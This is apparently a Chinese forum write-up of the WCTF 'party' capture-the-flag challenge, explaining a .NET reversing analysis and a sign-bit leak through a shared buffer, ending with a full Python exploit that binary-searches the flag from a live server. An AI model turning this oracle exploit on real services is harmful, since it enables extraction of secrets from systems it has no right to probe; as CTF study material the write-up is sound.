悄咪咪的参加了WCTF的线上赛,本弱鸡表示一脸懵逼,当时只看了party和Cyber_Mimic_Defense。反正是没做出来,赛后看了
WCTF-party
总结下party的解法。
顺便还是.net逆向初体验233.

0x00

附件就一个exe文件
打开大约是这样的,一个是server功能,一个是client功能。很显然我们要获取server上存储的flag。

客户端能进行的操作

  1. 可以设置party的guest
  2. 可以给guest添加friendship
  3. 设置Erods Scruity
  4. Evaluate Party目测是和服务器通讯

评价后会有


我然后抓了下包看了下通信的协议,大致是这样的
2 \暂时用途不明
x \ 总共的guest数,example: 4
v \Erdos security ,example:10 (最大是10
n \ n组配对的好友 example: 2
a b \两个int,表示好友在储存的下标 (0 1)(2 3)

好像没有什么值得利用的地方,只能开始看看源码了

0x01

查阅资料得知,这是.net程序,于是用dnSpy打开进行逆向,还好没加壳。

首先看到发信的地方,有个switch,根据数据的第一个协议决定运行哪个模块

  1. 一个简单的输出
  2. 用户界面实际使用的协议,解释了前面2的用途
  3. 一个flag接受+检查机制


    查了下Compare方法

    所有的查询存在了comm的0-3 bytes里。

  4. 如果全是0则表示存在该子串

  5. 如果flag>text 则返回一个正数
  6. flag<text则返回一个负数。

显然我们无法直接从这个检查机制处获得flag,那么我们看看还有没有其他的方向。

0x02

看到了前面switch=2时候的工作。

int num4 = (num * num - num) / 2 / 8;//总共可能有多少种配对方式,并对comm从2开始的下标进行初始化为0.
                    for (int i = 0; i < num4; i++)
                    {
                        this.comm[2 + i] = 0;
                    }

这段比较有趣,每个人可以和剩下的n-1一个人配对,除以2是为了避免重复。这构成了一个无向的图。
但是他除以了8对结果进行了截断。

显然两者都用到了comm这个数组,也就说前面的对字符串比较的操作可能会影响到后面的这个判决。
如果之前的操作导致了数组的最后一位被置位1,则软件可能会认为这个图里多了一条边,这就可能导致底下的判决错误。

0x03

上文提到在进行字符串比对的时候,compare返回了一个int32的整数,并且以小端序存在了comm 0-3 字节。返回是负数的时候则以补码形式存储。
根据补码规则

  • 如果一个数是正数则它大多数位为0
  • 如果是负数,则大多数为1。
    又,因为存储方式为小端,也就说低位先存,则最重要的符号位置则是存在comm[3]中。
    然而我们又想操纵整个图的边的数量为1 or 0,那么我们就要另储存图初始化的时候不要初始化到comm[3]。
    显然 6个guest可以满足。
    (nodes * nodes - nodes) / 2 / 8=0;
    则此时初始化只到了comm[2],也就说我们comm[3]中的内容可以影响关于整个图的判断了。

0x04

图的判断逻辑:

  • 如果一个图的security个node是全部断开的,则不通过,例如security=6,如果6个节点都是独立的则不通过。
  • 反之,如果6个guest有1个连通边则就可以了。

判断flag逻辑:

  • 如果输入的text<flag,返回正数,comm[3]=0,返回approve
  • 如果输入的text>flag,返回负数,comm[3]=-1,返回disapprove。
  • 如果输入为存在字串则返回correct。
    因此根据二分查找就可以爆破出flag。贴出原wp的exp。
from socket import socket
import time

host = '180.163.241.15'
port = 10658

def testflag(flag):
    sock = socket()
    sock.connect((host, port))
    # overwrite comm
    sock.send(b'3\n')
    sock.send(b'1\n')  # one line
    sock.send(flag.encode() + b'\n')
    res = b''
    while not (b'Correct' in res or b'Incorrect' in res):
        time.sleep(0.1)
        res += sock.recv(1024)
    print(res)
    if b'Correct' in res:
        return 0
    # leak sign bit
    sock.send(b'2\n')
    sock.send(b'6\n')  # 6 nodes
    sock.send(b'6\n')  # threshold = 6
    sock.send(b'0\n')  # no edges
    res = b''
    while not b'party' in res:
        time.sleep(0.1)
        res += sock.recv(1024)
    print(res)
    sock.close()
    if b'does not approve' in res:
        return 1  # flag is bigger
    elif b'approves' in res:
        return -1  # flag is smaller
    else:
        raise Exception('something wrong')

flag = ''
newchar = ''
for l in range(100):
    flag += newchar
    print(l)
    print(flag)
    minv = 0x20
    maxv = 0x7e
    while minv != maxv:
        newchar = chr(minv + (maxv - minv) // 2)
        newflag = flag + newchar
        print(minv, maxv)
        res = testflag(newflag)
        if res > 0:
            # character is too small, or the string is too short
            minv = minv + (maxv - minv + 1) // 2
        elif res < 0:
            # character is too big
            maxv = minv + (maxv - minv) // 2
        else:
            print('Flag found!', newflag)
            exit()
    # check off-by-one because of the different string length
    if testflag(flag + newchar) < 0:
        newchar = chr(ord(newchar) - 1)

Party To Player.zip (0.01 MB) 下载附件
点击收藏 | 0 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖